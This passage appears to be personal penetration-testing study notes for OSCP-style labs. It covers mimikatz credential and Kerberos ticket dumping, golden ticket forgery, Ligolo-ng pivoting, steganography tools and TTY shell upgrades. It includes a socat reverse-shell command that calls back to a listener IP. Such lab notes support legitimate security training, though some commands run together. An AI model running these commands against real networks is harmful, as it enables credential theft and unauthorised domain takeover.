- Can be used to dump creds, but it can also be used to gain Domain Admin tickets and impersonate them. Obviously great for privesc.
- Steps:
mimikatz.exeprivilege::debug- if you run and don’t get 20, it won’t worksekurlsa::tickets /export- to export tickets on machine.- we can impersonate the ticket. Recommend using an admin ticket…duh kerberos::ptt $ticket
lsadump::lsa /patch- If you are on a DC you can dump the hasheslsadump::lsa /inject /name:krbtgt- can also create a golden ticket on a DC:- kerberos::golden /user: /domain: /sid: /krbtgt: /id:
- you can access any machine in the domain
misc::cmd\\MACHINE1 cmd.exe
Port Forwarding, Mirroring
Ligolo
Guide Basic usage From Kali:
sudo ip tuntap add user pop mode tun ligolosudo ip link set ligolo upsudo ip route add $targetIP.0/24 dev ligolosudo ./proxy -selfcert
From Windows Target (agent file):
.\ligolo.exe -connect $kaliIP:11601 -ignore-cert
OR
From Linux Target (agent file):
./ligolo -connect $kaliIP:11601 -ignore-cert
Then from Kali:
session1Startlistener_add --addr 0.0.0.0:5555 --to 127.0.0.1:6666This allows you to access port 5555 on target from 127.0.0.1:6666 (kali machine).
Local Port Forwarding:
- ip route add 240.0.0.1/32 dev ligolo
- 240.0.0.1 will point to whatever machine Ligolo-ng has an active tunnel on.
Other tools
While the OSCP Lab discusess other tools such as socat, sshuttle, and plink, I found that Ligolo-ng was able to provide all of the same functionality and more simply. That said, I am linking a guide discusess the other tools. Here is frankyyano’s Pivoting & Tunneling guide.
Tips
Port scanning through a tunnel can take a while, and it may be only TCP scans that work so no UDP or ICMP
Steganography
- Binwalk - A tool for searching binary files for embedded hidden files and data.
binwalk $file # Displays the embedded databinwalk -e file # Extracts the databinwalk --dd ".*" $file # Extracts all data
- strings
strings $filestrings -n 6 $file # Extracts strings with a minimum length of 6
- file
file $file
- exiftool
exiftool $file
Upgrading Shell
Python
- python -c ‘import pty; pty.spawn(“/bin/bash”)’
- background reverse shell using CTRL-Z
- echo $TERM
- stty -a
- Take note of the TERM type and size of the tty
- Ex: xterm-256 color and rows 38; columns 116
- Then with the reverse shell still in background “stty raw -echo”
- fg
- reset
- export SHELL=bash
- export TERM=xterm-256 color (for example)
- stty rows 38 columns 116
Full
python3 -c 'import pty; pty.spawn("/bin/bash")'
(inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 36 columns 102; reset;
- You can get the number of rows and columns executing
stty -a
Shell Upgrades
Socat
- From kali
- sudo socat file:’tty’,raw,echo=0 tcp-listen:443
- From target
- socat exec:’bash -li’,pty,stderr,setsid,sigint,sane tcp:192.168.45.230:443
Others: https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/full-ttys